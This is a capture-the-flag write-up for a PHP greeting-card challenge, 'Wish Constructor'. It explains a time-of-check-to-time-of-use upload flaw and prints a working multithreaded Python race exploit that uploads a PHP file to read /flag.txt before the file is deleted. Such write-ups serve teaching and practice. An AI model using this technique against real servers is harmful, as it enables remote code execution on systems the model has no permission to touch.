Wish Constructor
Wish Constructor
Platform: duckerz | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-03-08 | Status: Solved Techniques: concurrent_request_race, predictable_filename_md5, race_condition_file_upload, toctou_exploitation
Summary
Task: PHP file upload with post-save validation (TOCTOU). Solution: Race condition exploit with parallel upload and access threads to execute PHP before unlink().
Wish Constructor --- Duckerz CTF
Description
Праздничный функционал по генерации авторских пожеланий. Всё, что нужно для создания и отправки идеальной цифровой открытки к 8 марта.
- URL: http://tasks.duckerz.ru:30039/
- Source: https://download.tasks.duckerz.ru/WishConstructor/wish_constructor.zip
The application is a greeting card constructor for March 8th (International Women's Day). Users enter a greeting message and choose a background image (from presets or upload their own). The result is a digital greeting card.
Architecture
Docker Container
└── Apache 2.4.66 (Debian)
└── PHP 8.2
├── create.php — card creation (file upload)
├── /static/uploads/ — uploads directory (chmod 1777)
└── SQLite — data storage
- Flag:
/flag.txt(chmod 444, owner root, readable by www-data)
Analysis
Vulnerable code in create.php
The key issue is TOCTOU (Time-of-Check to Time-of-Use) in the file upload logic:
php read-only • copy allowed$temp_filename = md5($file_name) . '.' . $file_ext; $upload_path = __DIR__ . '/static/uploads/' . $temp_filename; // Step 1: File is SAVED to disk and IMMEDIATELY available for Apache to execute if (move_uploaded_file($tmp_name, $upload_path)) { $allowed_exts = ['png', 'jpg', 'jpeg', 'gif', 'svg']; // Step 2: Extension check AFTER saving if (!in_array($file_ext, $allowed_exts)) { // Step 3: Deletion — but between step 1 and 3 there's a race condition window unlink($upload_path); // ... redirect with error } }
Three critical factors
-
Predictable filename:
md5($original_filename) . '.' . $extension— no randomness. Uploadingshell.phpalways creates file25a452927110e39a345a2511c57647f2.php -
File is saved BEFORE validation: classic TOCTOU — between
move_uploaded_file()andunlink()there's a time window when the file is accessible on disk -
Apache executes PHP in uploads: no
.htaccessrestrictions, directory/static/uploads/with 1777 permissions — Apache processes.phpfiles as executable
Solution
Strategy
Race condition exploitation: run two types of threads in parallel:
- Upload threads (10) — continuously upload PHP file with payload
<?php readfile("/flag.txt"); ?> - Access threads (20) — continuously request the URL of the uploaded file
After ~2000 attempts, one of the access requests hits the window between move_uploaded_file() and unlink().
Exploit
python read-only • copy allowed#!/usr/bin/env python3 import requests import threading import time import hashlib TARGET = "http://tasks.duckerz.ru:30039" FILENAME = "shell.php" temp_name = hashlib.md5(FILENAME.encode()).hexdigest() + '.php' SHELL_URL = f"{TARGET}/static/uploads/{temp_name}" PHP_PAYLOAD = b'<?php readfile("/flag.txt"); ?>' found = False flag_content = "" attempts = 0 lock = threading.Lock() def upload(): global attempts s = requests.Session() while not found: try: files = {'background': (FILENAME, PHP_PAYLOAD, 'image/png')} data = {'message': 'test'} s.post(f"{TARGET}/create.php", files=files, data=data, allow_redirects=False, timeout=5) with lock: attempts += 1 except: pass def access(): global found, flag_content s = requests.Session() while not found: try: r = s.get(SHELL_URL, timeout=2) if r.status_code == 200 and 'DUCKERZ' in r.text: print(f"[+] GOT IT after {attempts} attempts!") print(f"[+] Flag: {r.text.strip()}") flag_content = r.text.strip() found = True except: pass threads = [] for i in range(10): threads.append(threading.Thread(target=upload, daemon=True)) for i in range(20): threads.append(threading.Thread(target=access, daemon=True)) for t in threads: t.start() start = time.time() while not found and time.time() - start < 60: time.sleep(0.5)